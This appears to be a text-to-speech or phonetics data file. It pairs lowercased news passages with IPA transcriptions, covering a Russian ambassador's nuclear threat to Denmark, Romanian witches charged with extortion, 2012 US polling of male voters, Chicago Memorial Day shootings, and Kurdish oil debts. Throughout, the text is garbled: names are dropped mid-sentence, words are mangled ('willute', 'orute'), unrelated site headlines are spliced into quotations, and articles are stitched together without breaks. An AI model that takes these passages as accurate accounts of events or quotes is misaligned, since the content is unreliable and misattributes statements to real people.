ˈrɑznɪft wɪl ˈɔlsoʊ bi peɪd ɪn ˈbɛrəlz əv ɔɪl. bət wɪθ ɔɪl ˈpraɪsɪz stɪl dɪˈprɛst, ˈkərdɪˌstæn həz bɪn əˈneɪbəl tɪ peɪ ˌɪnˈvɛstərz dɪˈvɛləpɪŋ ɪts fildz, ənd ɪts dɛts ər groʊɪŋ. ðə wərld bæŋk wɔrnd ɪn 2016 ðət "ərɪrz ɪn ˈpeɪmənts tɪ ɔɪl ˈkəmpəˌniz ənd ˈkɑnˌtræktərz kriˈeɪt ən ənˈsərtən ˈbɪznɪs ɪnˈvaɪrənmənt". sɛd ðə ˈkraɪsəs ɪz məʧ mɔr səˈvɪr ðən ðə ˈkərdɪˌstæn ˈgəvərnmənt ədˈmɪts. "ðə ˈɑbviəs 'jɛs' rɪˈzəlt əv ðə ˌrɛfərˈɛndəm wɪl nɑt lɛd ˌɔtəˈmætɪkli tɪ ə ˌdɛklərˈeɪʃən əv ən ˌɪndɪˈpɛndənt steɪt bət wɪl ˈoʊpən ˈbætəlz ɔn ˈsɛvərəl frənts," ʃi sɛd. "fər bi ɪts ə lip ˈfɔrwərd tɪ steɪ ɪn paʊər waɪl dɪˈvərtɪŋ əˈtɛnʃən frəm ðə daɪər ˌɛkəˈnɑmɪk steɪt əv ðə ˈriʤən." |
bask in the cognitive dissonance:
enjoy the fragile ego:
“some within the establishment like the fact that i back down to a club. a lot of this has to do with control, power, money.”
watch the paranoid bonding:
just two years ago, tom tancredo was a veritable outcast of the republican party. karl rove was screaming at him, john mccain scoffed at him, pollsters viewed him as a saboteur within their midst. one warning about dilution of american seen as radioactive among the republican elite.
ed morrissey manages to spin all this as shrewd:
this plays well for palin. she gets to once again distance herself from the party establishment while also adding to her reputation for political pragmatism. the republican nominee, dan maes, is a disaster for republicans, and most republicans have already shifted support from maes to tancredo.
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tensions between denmark and russia were ratcheted up a notch on saturday.
russia’sassador to denmark, mikhail, wrote in an opinion piece published by that denmark has made itself a target of a potential nuclear attack by joining missile defence system
“i think the danes fully understand the consequences of what will happen if denmark joins the missile defence. if it happens, danish war ships will become targets for russian atomic missiles,” wrote.
denmark announced in august that it will willute at least one frigate to defence system. at the time, defence minister nicolai said that joining the missile defence system was not a move aimed at russia.
“that denmark will join the missile defence system with radar capacity on one or more of our frigates is not an action that is targeted against russia, but rather to protect us against rogues states, terrorist organisations and others that have the capacity to fire missiles at europe and the us,” told in august
vanin’s made it clear that russia share that interpretation.
“denmark will become a part of the threat against russia. it will be less peaceful and the relationship with russia will be harmed. it is of course your decision i want to simply remind you that it will cost you both money and security,” wrote.
“at the same time, russia has missiles that are guaranteed to break through future global missile defence systems,” he continued.
danish foreign minister martin called’s statements “unacceptable”.
“russia knows fully well that missile defence is not aimed at them. we are in disagreement with russia on a number of important things but it is important that the tone between us does not escalate,” told.
the usassador to denmark, rufus gifford, also responded to's remarks.
"we stand with our staunch nato ally denmark in condemning the unacceptable statements made by russia'sassador to denmark. we have made clear that nato's ballistic missile defence is not directed at any country, but is meant to defend against missile threats," gifford wrote on facebook.
on twitter, he added that "such statements do not inspire confidence orute to peace and stability":
us stands w/ dk in condemning statements made by russia's to dk. such statements do not inspire confidence or to rufus gifford (@rufusgifford) march 21, 2015
denmark’s relationship with russia has been strained by increased russian airspace activity over and near denmark.
vanin is not exactly a stranger to controversial statements. following the december with the sas, he suggested that swedish authorities may have imagined the whole thing after smoking too much cannabis
"the swedish authorities also recently said there was a submarine in their waters. there wasn’t. now they say again that they have seen something. i'm afraid the swedes visit pusher street very often," told berlingske, referring to the neighbourhood in copenhagen known for its cannabis trade.
“in terms of our territory, we are not worried. we keep our heads calm and the cockpit warm,” she said.
wammen has also said that denmark would not hesitate to stand up to russia telling the financial times that “the russians know we will do what is necessary.” | ˈtɛnʧənz bɪtˈwin ˈdɛnˌmɑrk ənd ˈrəʃə wər ˈræʧətɪd əp ə nɑʧ ɔn ˈsæˌtɪˌdeɪ. æmˈbæsədər tɪ ˈdɛnˌmɑrk, mɪˈkeɪl, roʊt ɪn ən əˈpɪnjən pis ˈpəblɪʃt baɪ ðət ˈdɛnˌmɑrk həz meɪd ˌɪtˈsɛlf ə ˈtərgət əv ə pəˈtɛnʃəl ˈnukliər əˈtæk baɪ ˈʤɔɪnɪŋ ˈmɪsəl dɪˈfɛns ˈsɪstəm θɪŋk ðə deɪnz ˈfʊli ˌəndərˈstænd ðə ˈkɑnsəkˌwɛnsəz əv wət wɪl ˈhæpən ɪf ˈdɛnˌmɑrk ʤɔɪnz ðə ˈmɪsəl dɪˈfɛns. ɪf ɪt ˈhæpənz, ˈdeɪnɪʃ wɔr ʃɪps wɪl bɪˈkəm ˈtɑrgəts fər ˈrəʃən əˈtɑmɪk missiles,”*,” roʊt. ˈdɛnˌmɑrk əˈnaʊnst ɪn ˈɔgəst ðət ɪt wɪl wɪl kənˈtrɪbjut æt list wən ˈfrɪgət tɪ dɪˈfɛns ˈsɪstəm. æt ðə taɪm, dɪˈfɛns ˈmɪnɪstər ˈnikoʊˌlaɪ sɛd ðət ˈʤɔɪnɪŋ ðə ˈmɪsəl dɪˈfɛns ˈsɪstəm wɑz nɑt ə muv eɪmd æt ˈrəʃə. ˈdɛnˌmɑrk wɪl ʤɔɪn ðə ˈmɪsəl dɪˈfɛns ˈsɪstəm wɪθ ˈreɪˌdɑr kəˈpæsɪti ɔn wən ər mɔr əv ɑr ˈfrɪgəts ɪz nɑt ən ˈækʃən ðət ɪz ˈtɑrgətɪd əˈgɛnst ˈrəʃə, bət ˈrəðər tɪ prəˈtɛkt ˈjuˈɛs əˈgɛnst roʊgz steɪts, ˈtɛrərɪst ˌɔrgənɪˈzeɪʃənz ənd ˈəðərz ðət hæv ðə kəˈpæsɪti tɪ faɪər ˈmɪsəlz æt ˈjʊrəp ənd ðə us,”*,” toʊld ɪn ˈɔgəst meɪd ɪt klɪr ðət ˈrəʃə ʃɛr ðət ˌɪnˌtərprɪˈteɪʃən. wɪl bɪˈkəm ə pɑrt əv ðə θrɛt əˈgɛnst ˈrəʃə. ɪt wɪl bi lɛs ˈpisfəl ənd ðə riˈleɪʃənˌʃɪp wɪθ ˈrəʃə wɪl bi hɑrmd. ɪt ɪz əv kɔrs jʊr dɪˈsɪʒən aɪ wɔnt tɪ ˈsɪmpli riˈmaɪnd ju ðət ɪt wɪl kɔst ju boʊθ ˈməni ənd security,”*,” roʊt. ðə seɪm taɪm, ˈrəʃə həz ˈmɪsəlz ðət ər ˌgɛrənˈtid tɪ breɪk θru fˈjuʧər ˈgloʊbəl ˈmɪsəl dɪˈfɛns systems,”*,” hi kənˈtɪnjud. ˈdeɪnɪʃ ˈfɔrən ˈmɪnɪstər ˈmɑrtɪn kɔld ˈsteɪtmənts ““unacceptable”*”. noʊz ˈfʊli wɛl ðət ˈmɪsəl dɪˈfɛns ɪz nɑt eɪmd æt ðɛm. wi ər ɪn dɪsəˈgrimənt wɪθ ˈrəʃə ɔn ə ˈnəmbər əv ˌɪmˈpɔrtənt θɪŋz bət ɪt ɪz ˌɪmˈpɔrtənt ðət ðə toʊn bɪtˈwin ˈjuˈɛs dɪz nɑt escalate,”*,” toʊld. ðə ˈjuˈɛs æmˈbæsədər tɪ ˈdɛnˌmɑrk, ˈrufəs ˈgɪfərd, ˈɔlsoʊ rɪˈspɑndɪd tɪ rɪˈmɑrks. "wi stænd wɪθ ɑr stɔnʧ ˈneɪtoʊ ˈælaɪ ˈdɛnˌmɑrk ɪn kənˈdɛmɪŋ ðə ˌənækˈsɛptəbəl ˈsteɪtmənts meɪd baɪ ˈrəʃəz æmˈbæsədər tɪ ˈdɛnˌmɑrk. wi hæv meɪd klɪr ðət ˈneɪtoʊz bəˈlɪstɪk ˈmɪsəl dɪˈfɛns ɪz nɑt dɪˈrɛktɪd æt ˈɛni ˈkəntri, bət ɪz mɛnt tɪ dɪˈfɛnd əˈgɛnst ˈmɪsəl θrɛts," ˈgɪfərd roʊt ɔn ˈfeɪsˌbʊk. ɔn tˈwɪtər, hi ˈædɪd ðət "səʧ ˈsteɪtmənts du nɑt ˌɪnˈspaɪr ˈkɑnfədɛns ər kənˈtrɪbjut tɪ pis ənd stəˈbɪlɪti": ˈjuˈɛs stændz ˈdəbəlju/ ˈdiˈkeɪ ɪn kənˈdɛmɪŋ ˈsteɪtmənts meɪd baɪ ˈrəʃəz tɪ ˈdiˈkeɪ. səʧ ˈsteɪtmənts du nɑt ˌɪnˈspaɪr ˈkɑnfədɛns ər tɪ ˈrufəs ˈgɪfərd (@rufusgifford*) mɑrʧ 21 2015 riˈleɪʃənˌʃɪp wɪθ ˈrəʃə həz bɪn streɪnd baɪ ˌɪnˈkrist ˈrəʃən ˈɛrˌspeɪs ækˈtɪvɪti ˈoʊvər ənd nɪr ˈdɛnˌmɑrk. ɪz nɑt ɪgˈzæktli ə ˈstreɪnʤər tɪ ˌkɑntrəˈvərʃəl ˈsteɪtmənts. ˈfɑloʊɪŋ ðə dɪˈsɛmbər wɪθ ðə sæs, hi səˈʤɛstɪd ðət sˈwidɪʃ əˈθɔrətiz meɪ hæv ˌɪˈmæʤənd ðə hoʊl θɪŋ ˈæftər sˈmoʊkɪŋ tu məʧ ˈkænəbəs "ðə sˈwidɪʃ əˈθɔrətiz ˈɔlsoʊ ˈrisəntli sɛd ðɛr wɑz ə ˌsəbmərˈin ɪn ðɛr ˈwɔtərz. ðɛr wasn’t*. naʊ ðeɪ seɪ əˈgɛn ðət ðeɪ hæv sin ˈsəmθɪŋ. əm əˈfreɪd ðə swidz ˈvɪzɪt ˈpʊʃər strit ˈvɛri ˈɔfən," toʊld berlingske*, rɪˈfərɪŋ tɪ ðə ˈneɪbərˌhʊd ɪn ˈkoʊpənˌhɑgən noʊn fər ɪts ˈkænəbəs treɪd. tərmz əv ɑr ˈtɛrɪˌtɔri, wi ər nɑt ˈwərid. wi kip ɑr hɛdz kɑm ənd ðə ˈkɑkˌpɪt warm,”*,” ʃi sɛd. həz ˈɔlsoʊ sɛd ðət ˈdɛnˌmɑrk wʊd nɑt ˈhɛzəˌteɪt tɪ stænd əp tɪ ˈrəʃə ˈtɛlɪŋ ðə ˌfaɪˈnænʃəl taɪmz ðət ˈrəʃənz noʊ wi wɪl du wət ɪz necessary.”*.” |
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tv presenter handed over in exchange for spells said to involve animal sacrifice
two self-professed witches have been detained in romania on blackmail and extortion charges in a high-profile case involving a tv star and reportedly other public figures.
a police spokesman, christian, said the two women who go by the single names of melissa and vanessa approached public figures promising to help them overcome work or love difficulties, and break curses.
he said the women initially charged very little, but then, as their victims became hooked on their services, increased their prices.
ciocan cited one case where the victim who later publicly identified herself as actor, singer and tv presenter oana handed over (£378,000) in cash and property in exchange for spells.
he said the witches practised black magic, and sacrificed animals in graveyards and near rivers, claiming this would protect from her mother and in-laws who had put a curse on her.
the witches, however, claim is being vengeful because she asked them to cast a spell that would kill her mother, but the mother is still alive.
the ex-wife of businessman borcea, one of two owners of romanian football team bucharest, was also cited as a victim, but she has neither confirmed or denied the case.
ciocan said if the victims tried to cease payment, the two women would threaten to put a spell on them, or disclose details of their personal lives.
a court ruled on and vanessa would be released later the same day, awaiting trial.
many people believe in witchcraft in romania. president and his aides have been known to wear purple on certain days, supposedly to ward off evil.
romania has recently been trying to introduce legislation to limit witchcraft. this month, nicolae paun, who represents the roma in parliament, said legislation must be enacted to stop what he called "backward practices".
most self-professed witches in romania are roma. | ðɪs ˈɑrtɪkəl ɪz ˈoʊvər 7 jɪrz oʊld ˌtɛləˈvɪʒən ˈprɛzəntər ˈhændɪd ˈoʊvər ɪn ɪksˈʧeɪnʤ fər spɛlz sɛd tɪ ˌɪnˈvɑlv ˈænəməl ˈsækrəˌfaɪs tu ˌsɛlfprəˈfɛst ˈwɪʧɪz hæv bɪn dɪˈteɪnd ɪn roʊˈmeɪniə ɔn ˈblækˌmeɪl ənd ɛkˈstɔrʃən ˈʧɑrʤɪz ɪn ə ˌhaɪˈproʊfaɪl keɪs ˌɪnˈvɑlvɪŋ ə ˌtɛləˈvɪʒən stɑr ənd rɪˈpɔrtədli ˈəðər ˈpəblɪk ˈfɪgjərz. ə pəˈlis ˈspoʊksmən, ˈkrɪsʧɪn, sɛd ðə tu ˈwɪmən hu goʊ baɪ ðə ˈsɪŋgəl neɪmz əv məˈlɪsə ənd vəˈnɛsə əˈproʊʧt ˈpəblɪk ˈfɪgjərz ˈprɑməsɪŋ tɪ hɛlp ðɛm ˈoʊvərˌkəm wərk ər ləv ˈdɪfɪˌkəltiz, ənd breɪk ˈkərsɪz. hi sɛd ðə ˈwɪmən ˌɪˈnɪʃəli ʧɑrʤd ˈvɛri ˈlɪtəl, bət ðɛn, ɛz ðɛr ˈvɪktɪmz bɪˈkeɪm hʊkt ɔn ðɛr ˈsərvɪsɪz, ˌɪnˈkrist ðɛr ˈpraɪsɪz. ˈsaɪtɪd wən keɪs wɛr ðə ˈvɪktɪm hu ˈleɪtər ˈpəblɪkli aɪˈdɛntəˌfaɪd hərˈsɛlf ɛz ˈæktər, ˈsɪŋər ənd ˌtɛləˈvɪʒən ˈprɛzəntər ˈoʊnə ˈhændɪd ˈoʊvər ɪn kæʃ ənd ˈprɑpərti ɪn ɪksˈʧeɪnʤ fər spɛlz. hi sɛd ðə ˈwɪʧɪz ˈpræktɪst blæk ˈmæʤɪk, ənd ˈsækrəˌfaɪst ˈænəməlz ɪn ˈgreɪvˌjɑrdz ənd nɪr ˈrɪvərz, ˈkleɪmɪŋ ðɪs wʊd prəˈtɛkt frəm hər ˈməðər ənd ˌɪnˈlɔz hu hæd pʊt ə kərs ɔn hər. ðə ˈwɪʧɪz, ˌhaʊˈɛvər, kleɪm ɪz biɪŋ ˈvɛnʤfəl bɪˈkəz ʃi æst ðɛm tɪ kæst ə spɛl ðət wʊd kɪl hər ˈməðər, bət ðə ˈməðər ɪz stɪl əˈlaɪv. ðə ˈɛksˈwaɪf əv ˈbɪznɪsˌmæn borcea*, wən əv tu ˈoʊnərz əv roʊˈmeɪniən ˈfʊtˌbɔl tim ˈbukəˌrɛst, wɑz ˈɔlsoʊ ˈsaɪtɪd ɛz ə ˈvɪktɪm, bət ʃi həz ˈniðər kənˈfərmd ər dɪˈnaɪd ðə keɪs. sɛd ɪf ðə ˈvɪktɪmz traɪd tɪ sis ˈpeɪmənt, ðə tu ˈwɪmən wʊd θˈrɛtən tɪ pʊt ə spɛl ɔn ðɛm, ər dɪˈskloʊz ˈditeɪlz əv ðɛr ˈpərsɪnəl lɪvz. ə kɔrt ruld ɔn ənd vəˈnɛsə wʊd bi riˈlist ˈleɪtər ðə seɪm deɪ, əˈweɪtɪŋ traɪəl. ˈmɛni ˈpipəl bɪˈliv ɪn ˈwɪʧˌkræft ɪn roʊˈmeɪniə. ˈprɛzɪdənt ənd hɪz eɪdz hæv bɪn noʊn tɪ wɛr ˈpərpəl ɔn ˈsərtən deɪz, səˈpoʊzədli tɪ wɔrd ɔf ˈivəl. roʊˈmeɪniə həz ˈrisəntli bɪn traɪɪŋ tɪ ˌɪntrəˈdus ˌlɛʤəsˈleɪʃən tɪ ˈlɪmət ˈwɪʧˌkræft. ðɪs mənθ, ˈnɪkoʊˌlaɪ paun*, hu ˌrɛprɪˈzɛnts ðə ˈroʊmɑ ɪn ˈpɑrləmɛnt, sɛd ˌlɛʤəsˈleɪʃən məst bi ɛˈnæktəd tɪ stɑp wət hi kɔld "ˈbækwərd ˈpræktɪsɪz". moʊst ˌsɛlfprəˈfɛst ˈwɪʧɪz ɪn roʊˈmeɪniə ər ˈroʊmɑ. |
mitt advantage among male voters has all but disappeared since the democratic national convention.
the pattern will likely spell doom for romney unless it represents an entirely transient “bump” for president obama which it might.
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several polls released in recent days show obama displaying new strength among male voters. romney needs to win the male electorate by a wide margin to overcome the chronic disadvantage the faces with respect to women.
a cnn poll released monday showed obama moving into a small lead among men, besting romney 48 percent to 47. the finding was especially notable because cnn, in a poll conducted about a week prior, had shown romney holding a lead among men (55 percent to 43).
on tuesday, an abc post poll found obama enjoying a edge among men.
in a memo accompanying the release, its authors, langer research associates, noted that “obama’s support has reached a new high among men” higher than at any point during this election cycle.
in addition, a new poll from the public policy polling organization found that obama has a lead among men, taking 47 percent to 46.
democrats are delighted with those numbers.
“if that holds, no way romney can win,” said bob shrum, the longtime democratic strategist who ran sen. john kerry john forbes defense: white house eyes budget maneuver to boost defense spending | trump heads to hanoi for second summit with kim | former national security officials rebuke trump on emergency declaration 58 security officials rebuke trump over emergency declaration security officials to issue statement slamming trump's emergency declaration: (d-mass.) 2004 bid for the white house.
the romney campaign has been pushing back hard against the polls in recent days. on monday, it circulated a memo from its in-house pollster, neil newhouse, asserting that no one should “get too worked up about the latest polling” and characterizing the boost obama is enjoying as a “sugar-high.”
on tuesday, a romney campaign aide told the hill that the shift in male voting intentions was part of the same pattern. “he got a temporary boost that last long,” the aide argued.
still, even republicans who think that those predictions will ultimately prove true admit their worries about the current state of play.
“it’s definitely a concern,” said dan judy, a vice president at north star opinion research, a firm. “men, and especially white men, are a core constituency for republicans, especially in swing states. got to run up big, big margins with them.”
one case in point is the 2004 presidential election. kerry beat president george w. bush by 3 percentage points among female voters (51 percent to 48), according to exit polls. but bush prevailed by winning male voters by a whopping margin (55-44).
in 2008, obama won the female vote by 13 percentage points (56-43) over his republican opponent, sen. john mccain john sidney lobbyists worry trump lags in k street fundraising mark kelly kicks off senate bid: ‘a mission to lift up hardworking arizonans’ gabbard hits back at meghan mccain after fight over assad more (ariz.). by comparison, he edged mccain by just a single point among men overall (49-48), and lost white men by 16 percentage points.
reasons for the recent shift are not entirely clear.
some commentators point to the tone of the democratic national convention as, in parts, having particular appeal to men. democratic strategist james carville told cnn that own speech was “muscular,” perhaps alluding to its sharp attacks on romney on matters of foreign policy.
former president clinton, vice president biden and kerry sought to paint obama as strong and decisive and, at times, attacked romney and the republicans as effete.
obama, biden testified, “has courage in his soul, compassion in his heart and steel in his spine.”
“ask osama bin laden if he is better off now than he was four years ago,” kerry said during his speech, in which he also said, “it fair to say that mitt romney have a position on afghanistan. he has every position.”
judy said he was not surprised to see the democrats trying to seize the mantle “because there are not a whole lot of areas where barack obama barack hussein low birth rate, america needs future migrants 4 ways hillary looms over the 2020 race obama goes viral after sporting black bomber jacket with '44' on sleeve at basketball game more can point to his record. every time democrats talk about [the bin laden operation] is time they have to spend talking about the economy, or obamacare, or a lot of other things that are not so popular.”
judy argued that, once memories of the conventions begin to fade, the electorate will focus again on the economy. this, he asserted, would be to benefit.
for the moment, however, democrats are very happy with where things stand. and one of the more recent attempts for romney to boost his machismo the appearance by clint eastwood at the republican convention only broadened their smiles.
“i thought that was awful,” shrum said. “it was embarrassing for eastwood; it ate into time. i mean, that just serious.” | mɪt ædˈvæntɪʤ əˈməŋ meɪl ˈvoʊtərz həz ɔl bət ˌdɪsəˈpɪrd sɪns ðə ˌdɛməˈkrætɪk ˈnæʃənəl kənˈvɛnʃən. ðə ˈpætərn wɪl ˈlaɪkli spɛl dum fər ˈrɑmni ənˈlɛs ɪt ˌrɛprɪˈzɛnts ən ɪnˈtaɪərli ˈtrænʒənt ““bump”*” fər ˈprɛzɪdənt ˌoʊˈbɑmə wɪʧ ɪt maɪt. ˌædvərˈtaɪzmənt ˈsɛvərəl poʊlz riˈlist ɪn ˈrisənt deɪz ʃoʊ ˌoʊˈbɑmə dɪˈspleɪɪŋ nu strɛŋθ əˈməŋ meɪl ˈvoʊtərz. ˈrɑmni nidz tɪ wɪn ðə meɪl ɪˈlɛktərət baɪ ə waɪd ˈmɑrʤən tɪ ˈoʊvərˌkəm ðə ˈkrɑnɪk ˌdɪsədˈvænɪʤ ðə ˈfeɪsɪz wɪθ rɪˈspɛkt tɪ ˈwɪmən. ə ˈsiˈɛˈnɛn poʊl riˈlist ˈmənˌdeɪ ʃoʊd ˌoʊˈbɑmə ˈmuvɪŋ ˈɪntu ə smɔl lɛd əˈməŋ mɛn, ˈbɛstɪŋ ˈrɑmni 48 pərˈsɛnt tɪ 47 ðə ˈfaɪndɪŋ wɑz əˈspɛʃəli ˈnoʊtəbəl bɪˈkəz ˈsiˈɛˈnɛn, ɪn ə poʊl kənˈdəktəd əˈbaʊt ə wik praɪər, hæd ʃoʊn ˈrɑmni ˈhoʊldɪŋ ə lɛd əˈməŋ mɛn 55 pərˈsɛnt tɪ 43 ɔn ˈtuzˌdeɪ, ən ˈeɪˌbiˌsi poʊst poʊl faʊnd ˌoʊˈbɑmə ˌɛnˈʤɔɪɪŋ ə ɛʤ əˈməŋ mɛn. ɪn ə ˈmɛˌmoʊ əˈkəmpəniɪŋ ðə riˈlis, ɪts ˈɔθərz, ˈlæŋər ˈrisərʧ əˈsoʊʃiˌeɪts, ˈnoʊtɪd ðət səˈpɔrt həz riʧt ə nu haɪ əˈməŋ men”*” haɪər ðən æt ˈɛni pɔɪnt ˈdʊrɪŋ ðɪs ɪˈlɛkʃən ˈsaɪkəl. ɪn əˈdɪʃən, ə nu poʊl frəm ðə ˈpəblɪk ˈpɑləsi ˈpoʊlɪŋ ˌɔrgənəˈzeɪʃən faʊnd ðət ˌoʊˈbɑmə həz ə lɛd əˈməŋ mɛn, ˈteɪkɪŋ 47 pərˈsɛnt tɪ 46 ˈdɛməˌkræts ər dɪˈlaɪtɪd wɪθ ðoʊz ˈnəmbərz. ðət hoʊldz, noʊ weɪ ˈrɑmni kən win,”*,” sɛd bɑb ʃrəm, ðə ˈlɔŋˌtaɪm ˌdɛməˈkrætɪk ˈstrætɪʤɪst hu ræn sɛn. ʤɑn ˈkɛri ʤɑn fɔrbz dɪˈfɛns: waɪt haʊs aɪz ˈbəʤɪt məˈnuvər tɪ bust dɪˈfɛns ˈspɛndɪŋ trəmp hɛdz tɪ ˈhænɔɪ fər ˈsɛkənd ˈsəmɪt wɪθ kɪm ˈfɔrmər ˈnæʃənəl sɪˈkjʊrəti əˈfɪʃəlz rɪˈbjuk trəmp ɔn ˈimərʤənsi ˌdɛklərˈeɪʃən 58 sɪˈkjʊrəti əˈfɪʃəlz rɪˈbjuk trəmp ˈoʊvər ˈimərʤənsi ˌdɛklərˈeɪʃən sɪˈkjʊrəti əˈfɪʃəlz tɪ ˈɪʃu ˈsteɪtmənt sˈlæmɪŋ trəmps ˈimərʤənsi ˌdɛklərˈeɪʃən: (d-mass*.) 2004 bɪd fər ðə waɪt haʊs. ðə ˈrɑmni kæmˈpeɪn həz bɪn ˈpʊʃɪŋ bæk hɑrd əˈgɛnst ðə poʊlz ɪn ˈrisənt deɪz. ɔn ˈmənˌdeɪ, ɪt ˈsərkjəˌleɪtɪd ə ˈmɛˌmoʊ frəm ɪts ˌɪnˈhaʊs ˈpoʊlstər, nil ˈnuˌhaʊs, əˈsərtɪŋ ðət noʊ wən ʃʊd tu wərkt əp əˈbaʊt ðə ˈleɪtəst polling”*” ənd ˈkɛrɪktərˌaɪzɪŋ ðə bust ˌoʊˈbɑmə ɪz ˌɛnˈʤɔɪɪŋ ɛz ə ““sugar-high.”*.” ɔn ˈtuzˌdeɪ, ə ˈrɑmni kæmˈpeɪn eɪd toʊld ðə hɪl ðət ðə ʃɪft ɪn meɪl ˈvoʊtɪŋ ˌɪnˈtɛnʧənz wɑz pɑrt əv ðə seɪm ˈpætərn. gɑt ə ˈtɛmpərˌɛri bust ðət læst long,”*,” ðə eɪd ˈɑrgjud. stɪl, ˈivɪn rɪˈpəblɪkənz hu θɪŋk ðət ðoʊz priˈdɪkʃənz wɪl ˈəltəmətli pruv tru ədˈmɪt ðɛr ˈwəriz əˈbaʊt ðə ˈkɑrənt steɪt əv pleɪ. ˈdɛfənətli ə concern,”*,” sɛd dæn ˈʤudi, ə vaɪs ˈprɛzɪdənt æt nɔrθ stɑr əˈpɪnjən ˈrisərʧ, ə fərm. ““men*, ənd əˈspɛʃəli waɪt mɛn, ər ə kɔr kənˈstɪʧuənsi fər rɪˈpəblɪkənz, əˈspɛʃəli ɪn swɪŋ steɪts. gɑt tɪ rən əp bɪg, bɪg ˈmɑrʤənz wɪθ them.”*.” wən keɪs ɪn pɔɪnt ɪz ðə 2004 ˌprɛzɪˈdɛnʃəl ɪˈlɛkʃən. ˈkɛri bit ˈprɛzɪdənt ʤɔrʤ ˈdəbəlju. bʊʃ baɪ 3 pərˈsɛnɪʤ pɔɪnts əˈməŋ ˈfiˌmeɪl ˈvoʊtərz 51 pərˈsɛnt tɪ 48 əˈkɔrdɪŋ tɪ ˈɛksət poʊlz. bət bʊʃ prɪˈveɪld baɪ ˈwɪnɪŋ meɪl ˈvoʊtərz baɪ ə ˈwɑpɪŋ ˈmɑrʤən ɪn 2008 ˌoʊˈbɑmə wən ðə ˈfiˌmeɪl voʊt baɪ 13 pərˈsɛnɪʤ pɔɪnts ˈoʊvər hɪz rɪˈpəblɪkən əˈpoʊnənt, sɛn. ʤɑn məˈkeɪn ʤɑn ˈsɪdni ˈlɑbiɪsts ˈwəri trəmp lægz ɪn keɪ strit ˈfənˌdreɪsɪŋ mɑrk ˈkɛli kɪks ɔf ˈsɛnɪt bɪd: ˈmɪʃən tɪ lɪft əp ˈhɑrdˌwərkɪŋ arizonans’*’ gəˈbɑrd hɪts bæk æt ˈmɛgən məˈkeɪn ˈæftər faɪt ˈoʊvər əˈsɑd mɔr (ariz*.). baɪ kəmˈpɛrəsən, hi ɛʤd məˈkeɪn baɪ ʤɪst ə ˈsɪŋgəl pɔɪnt əˈməŋ mɛn ˈoʊvərˌɔl ənd lɔst waɪt mɛn baɪ 16 pərˈsɛnɪʤ pɔɪnts. ˈrizənz fər ðə ˈrisənt ʃɪft ər nɑt ɪnˈtaɪərli klɪr. səm ˈkɑmənˌteɪtərz pɔɪnt tɪ ðə toʊn əv ðə ˌdɛməˈkrætɪk ˈnæʃənəl kənˈvɛnʃən ɛz, ɪn pɑrts, ˈhævɪŋ ˌpɑˈtɪkjələr əˈpil tɪ mɛn. ˌdɛməˈkrætɪk ˈstrætɪʤɪst ʤeɪmz ˈkɑrˌvɪl toʊld ˈsiˈɛˈnɛn ðət oʊn spiʧ wɑz ““muscular,”*,” pərˈhæps əˈludɪŋ tɪ ɪts ʃɑrp əˈtæks ɔn ˈrɑmni ɔn ˈmætərz əv ˈfɔrən ˈpɑləsi. ˈfɔrmər ˈprɛzɪdənt ˈklɪntən, vaɪs ˈprɛzɪdənt ˈbaɪdən ənd ˈkɛri sɔt tɪ peɪnt ˌoʊˈbɑmə ɛz strɔŋ ənd dɪˈsaɪsɪv ənd, æt taɪmz, əˈtækt ˈrɑmni ənd ðə rɪˈpəblɪkənz ɛz ɛˈfit. ˌoʊˈbɑmə, ˈbaɪdən ˈtɛstɪˌfaɪd, kərɪʤ ɪn hɪz soʊl, kəmˈpæʃən ɪn hɪz hɑrt ənd stil ɪn hɪz spine.”*.” oʊˈsɑmə bɪn ˈleɪdən ɪf hi ɪz ˈbɛtər ɔf naʊ ðən hi wɑz fɔr jɪrz ago,”*,” ˈkɛri sɛd ˈdʊrɪŋ hɪz spiʧ, ɪn wɪʧ hi ˈɔlsoʊ sɛd, fɛr tɪ seɪ ðət mɪt ˈrɑmni hæv ə pəˈzɪʃən ɔn æfˈgænəˌstæn. hi həz ˈɛvəri position.”*.” ˈʤudi sɛd hi wɑz nɑt səˈpraɪzd tɪ si ðə ˈdɛməˌkræts traɪɪŋ tɪ siz ðə ˈmæntəl ðɛr ər nɑt ə hoʊl lɔt əv ˈɛriəz wɛr ˈbɑrək ˌoʊˈbɑmə ˈbɑrək huˈseɪn loʊ bərθ reɪt, əˈmɛrɪkə nidz fˈjuʧər ˈmaɪgrənts 4 weɪz ˈhɪləri lumz ˈoʊvər ðə 2020 reɪs ˌoʊˈbɑmə goʊz ˈvaɪrəl ˈæftər ˈspɔrtɪŋ blæk ˈbɑmər ˈʤækɪt wɪθ 44 ɔn sliv æt ˈbæskətˌbɔl geɪm mɔr kən pɔɪnt tɪ hɪz ˈrɛkərd. ˈɛvəri taɪm ˈdɛməˌkræts tɔk əˈbaʊt [ðə bɪn ˈleɪdən ˌɑpərˈeɪʃən] ɪz taɪm ðeɪ hæv tɪ spɛnd ˈtɔkɪŋ əˈbaʊt ðə ɪˈkɑnəmi, ər obamacare*, ər ə lɔt əv ˈəðər θɪŋz ðət ər nɑt soʊ popular.”*.” ˈʤudi ˈɑrgjud ðət, wəns ˈmɛməriz əv ðə kənˈvɛnʃənz bɪˈgɪn tɪ feɪd, ðə ɪˈlɛktərət wɪl ˈfoʊkɪs əˈgɛn ɔn ðə ɪˈkɑnəmi. ðɪs, hi əˈsərtəd, wʊd bi tɪ ˈbɛnəfɪt. fər ðə ˈmoʊmənt, ˌhaʊˈɛvər, ˈdɛməˌkræts ər ˈvɛri ˈhæpi wɪθ wɛr θɪŋz stænd. ənd wən əv ðə mɔr ˈrisənt əˈtɛmpts fər ˈrɑmni tɪ bust hɪz məˈʧɪzmoʊ ðə əˈpɪrəns baɪ klɪnt ˈistˌwʊd æt ðə rɪˈpəblɪkən kənˈvɛnʃən ˈoʊnli ˈbrɔdənd ðɛr smaɪlz. θɔt ðət wɑz awful,”*,” ʃrəm sɛd. wɑz ɪmˈbɛrəsɪŋ fər ˈistˌwʊd; ɪt eɪt ˈɪntu taɪm. aɪ min, ðət ʤɪst serious.”*.” |
chicago (ap) gun violence has marked the unofficial start of summer in chicago, where dozens have been shot and six have been killed over memorial day weekend.
the chicago tribune reports a total of 15 people were shot overnight into tuesday, two fatally. the newspaper says those shootings bring the total number shot since friday to 68.
–attorney general announces official investigation into chicago police department
–bernie sanders calls out chicago officials over handling of mcdonald case
chicago police say final numbers will be released later tuesday.
police had announced plans to step up patrols throughout the city in an effort to prevent violence that occurred during memorial day weekend last year, when a dozen people were killed and 44 more were hurt.
